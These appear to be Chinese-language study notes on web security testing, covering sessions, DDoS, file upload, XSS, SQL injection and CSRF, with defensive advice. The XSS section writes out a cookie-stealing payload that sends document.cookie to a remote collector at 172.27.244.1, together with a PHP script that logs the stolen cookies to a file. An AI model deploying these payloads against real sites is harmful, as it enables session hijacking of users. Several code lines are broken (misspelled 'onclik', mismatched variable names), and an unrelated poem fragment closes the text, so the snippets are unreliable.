安全测试学习总结
安全测试学习总结
一、安全测试概述
程序员在开发过程中会有意或无意埋下一些漏洞,发现一些安全性漏洞,寻求有效的解决方法是测试工程师义不容辞的责任。
安全测试主要涉及以下内容:
1、认证与授权
· 授权:在网站中不同的角色有不同的权限。
· 认证:一些网页访问需要输入密码进行登录认证。
在认证与授权中要尽可能避免出现漏洞,否则将被不法分子有意地进行利用。
2、Session与Cookie
· Session在网络应用中称为"会话控制",是保存在服务器端的数据或者文件;
· cookie是保存在客户端电脑上的文件;
cookie很容易通过某种手段获取到我们的权限以及一些隐私信息;session ID是唯一的标记,一旦别人通过cookie欺骗等手段获取了session ID,可以将其作为协议包发给服务器,从而就拥有了我们的权限。
3、DDOS分布式拒绝服务攻击
分布式拒绝服务攻击(DDOS)指的是借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动攻击,从而成倍地提高拒绝服务攻击的威力。
通常,攻击者盗用别人的账号将DDOS主控程序安装在一个计算机上,代理程序安装在网络上的许多计算机上,在一个设定的时间,主控程序将与大量代理程序进行通讯。代理程序收到指令就发动攻击,从而占用服务器的资源,无法正常向用户提供服务。
任何事物的发展都是有利有弊的,高速广泛连接的网络也不例外。一方面网络给大家带来了便捷,另一方面也为DDOS攻击创造了极为有利的条件。在低速网络时代时,由于技术的限制,黑客占领攻击用的傀儡机时,总是会优先考虑离目标网络距离近的机器。而在如今网络高速发展、广泛连接的信息化时代,数据传输不再是问题,这使得攻击可以从更远的地方或者其他城市发起,从而作为攻击的傀儡机可以分布在更大的范围,选择起来更灵活了。
被DDOS攻击时的现象:
1)被攻击主机上会有大量等待的TCP连接;
2)网络中充斥着大量的无用的数据包,源地址为假;
3)制造高流量无用数据,造成网络拥塞,使受害主机无法正常和外界通讯;
4)利用受害主机提供的服务或传输协议上的缺陷,反复高速的发出特定的服务请求,使受害主机无法及时处理所有正常请求;
4、文件上传漏洞
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器命令的能力。
大部分的网站和应用系统都具备上传功能,例如用户头像上传,图片上传,文档上传,视频上传等。由于实现文件上传的代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个目录上传任意PHP文件,并能够将这些文件传递给PHP解释器,就可以在远程服务器上执行任意PHP脚本。
当系统存在文件上传漏洞时攻击者可以将病毒,木马,其他恶意脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。根据具体漏洞的差异,此处上传的脚本可以是正常后缀的PHP,ASP以及JSP脚本,也可以是篡改后缀后的这几类脚本。
5、XSS跨站攻击
XSS跨站攻击指的是攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
XSS漏洞是目前为止发现的在所有网站超过80%比例的定制Web应用程序中最常见的漏洞。XSS主要攻击的是用户,例如钓鱼网站获取别的用户的Session ID,通过别人的输入来获取关键信息。
XSS是一种攻击技术,它使得加载在用户的Web浏览器上的网站出现攻击者提供的可执行代码,当黑客利用该存在漏洞的网站作为攻击对象时,用户理所当然的成为受害者。
跨站攻击的类型包含持久型跨站、非持久型跨站、DOM跨站,不同的跨站类型,有不同的跨站特点与区别,但又有跨站之间的相互联系。
存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。
反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
DOM跨站攻击是最隐蔽型的攻击,也就是说输出内容在源码里面看不到,不是直接输出的。
6、SQL注入
通过任何可以输入的地方,向服务器端注入信息,是普遍的攻击方式。
总体来说就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
不知道设计者的SQL语句,不知道用户名,密码,采用这种暴力破解,准备足够多的账号信息,不停地进行试验,总可以找到用户名,密码。快速破解需要借助于代码,而不是人工主要采用的方式。
7、跨站请求伪造(CSRF)
跨站请求伪造(CSRF)指的是攻击者控制受害者的计算机,强迫受害者的浏览器向一个易受攻击的Web应用程序发送请求,最后达到攻击者所需要的操作行为。恶意请求会带上浏览器的Cookie,受攻击的Web应用信任浏览器的Cookie。
二、安全测试类型详解
1、认证与授权
尽量避免未被授权的页面可以直接访问,应该对每个页面都有一个session变量的判断。如果没有判断只要用户知道URL地址就能进行访问。
测试方法:在不登陆的情况下,使用绝对URL地址对页面进行访问,能否正常访问,绝对URL地址直接通过httpwatch对每个请求进行获取。
2、session与cookie
避免保存敏感信息到cookie文件中,cookie的保存可以提高用户的体验。
作用域:
Set-Cookie:PHPSESSIONID= ;pash=/相对于根目录而言的,如C:\xampp\htdocs就是根目录,agileone保存的信息是在phpwind是能读取到的,相互之间是同样的作用域,两个系统可以交叉读取cookie信息。
解决办法是:不同的应用系统不同的作用域,如将agileone和phpwind两个应用配置在不同的作用域当中:即可修改代码path=/agileone,path=/phpwind.
5、XSS跨站攻击
跨站脚本攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。
主要是希望攻击用户,通过用户获取敏感信息。
1)如何写XSS脚本:
<input type="button" value="点我" onclick="alert('你好')"/>标准的html代码,也可以作为测试的标准。
服务器不会执行,只是别的用户会进行执行。
换成图片
<img src="https://www.baidu.com/img/bd_logo1.png" onclik="alert=('你被黑了')"/>
2)如何获取用户的cookie:
使用跨站攻击的工具,Java script有一个方法document.cookie可获取cookie属性。
具体如下:
<img src="https://www.baidu.com/img/bd_logo1.png" onclik="alert(document.cookie)"/>
直接点击图片就能获取页面的cookie。
3)如何进行cookie传输:
<1>单击按钮时直接打开页面,页面是设置好的页面,通过GET参数直接把cookie信息传到该页面,可以远程收到cookie;
<2>获取cookie信息进行位置变换,进行保存之后就能获取到相应的信息。
<3>实际操作:
在C:\xampp\htdocs下新建cookie.php页面:
<?php $cookieValue=$_GET['cookie'];
$fire=fopen("c:\cookie.txt","a");$符号表示定义变量,a表示往文件中追加,w表示写,r表示读;
fwrite($file,$cookieValue);
fclose($file);
<img src="https://www.baidu.com/img/bd_logo1.png" onclik="location.href='http://172.27.244.1/cookie.php?cookie='+document.cookie'"/>
会过滤+,不能进行cookie获取。下一个方法将cookie值存入当前页面的文本框,使用HTTPwatch进行获取元素的id:
<img src="https://www.baidu.com/img/bd_logo1.png" onclik="document.getElementByld('attendee') value=document.cookie"/>
4)DOM跨站攻击实例:
通常的情况是<a href="xxx" title="标题内容">xxxxxxx</a>,此标题内容在进行查看源代码的时候进行查找是查找不到的。换句话说这个是被动态产生的,所以就存在潜在的问题,如果"标题内容"写为xxxxxx"><img><",整个代码就会无形中插入一个HTML标签
<a href="xxx" title="xxxxxxxxx"><img><"">xxxxxxx</a>
但是 实际情况下," , > 这些符号都是会被过滤的,你输入的标题内容写为
xxxxxxxxx"><img><"
由于是动态产生的,最后" 会自动变为",这就造成了DOM攻击。
5)防御XSS的原则
对输入的数据进行"过滤",对输出数据进行 "编码"。这里的"编码"也要注意,必须针对数据具体的上下文语境进行针对性的编码。例如数据是输出到HTML中的那就要进行HtmlEncode,如果数据是输出到javascript代码中进行拼接的,那就要进行javascriptEncode。
如果不搞清楚数据具体输出的语境,就有可能因为HtmlParser()和javascriptParser()两种解析引擎的执行先后问题导致看似严密的"编码"形同虚设。
6、SQL注入
是最通用的一个攻击手段,要求必须要有数据库,且必须是关系型数据库。
服务器对SQL的防范也是非常严密。
目的:1)获取服务器端数据库的内容;
2)修改数据库的内容;
对于php、mysql、jsp、oracle、access等都能进行攻击,且攻击方式不一致。
也许多少年后在某个地方,
我将轻声叹息将往事回顾,
一片树林里分出两条路,
而我选择了人迹更少的一条,
从此决定了我一生的道路。